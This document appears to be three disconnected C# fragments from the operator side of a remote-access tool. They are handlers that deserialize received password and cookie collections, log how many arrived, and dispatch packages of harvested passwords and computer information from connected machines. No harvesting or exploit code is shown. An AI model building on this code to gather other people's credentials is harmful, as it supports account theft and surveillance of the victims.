public override void ResponseReceived(byte[] parameter) { var data = new Serializer(typeof(PasswordData)).Deserialize <PasswordData>(parameter); LogService.Receive(string.Format((string)Application.Current.Resources["ReceivedPasswords"], data.Passwords.Count, data.Cookies.Count)); PasswordsReceived?.Invoke(this, data); }
public override void ResponseReceived(byte[] parameter) { var data = new Serializer(typeof(PasswordData)).Deserialize <PasswordData>(parameter); if (PasswordsReceived != null) { PasswordsReceived.Invoke(this, data); } }
private void ProcessServerPackage(ServerPackage serverPackage) { switch (serverPackage.ServerPackageType) { case ServerPackageType.AddPasswords: PasswordsReceived?.Invoke(this, new PasswordsReceivedEventArgs( PasswordDataSerializer.Value.Deserialize <PasswordData>(serverPackage.Data), serverPackage.RedirectPackage != null, serverPackage.RedirectPackage?.Administration ?? 0)); break; case ServerPackageType.SetComputerInformation: ComputerInformationReceived?.Invoke(this, new ComputerInformationReceivedEventArgs( ComputerInformationSerializer.Value.Deserialize <ComputerInformation>( serverPackage.Data), true, serverPackage.RedirectPackage?.Administration ?? 0)); break; default: throw new ArgumentOutOfRangeException(); } }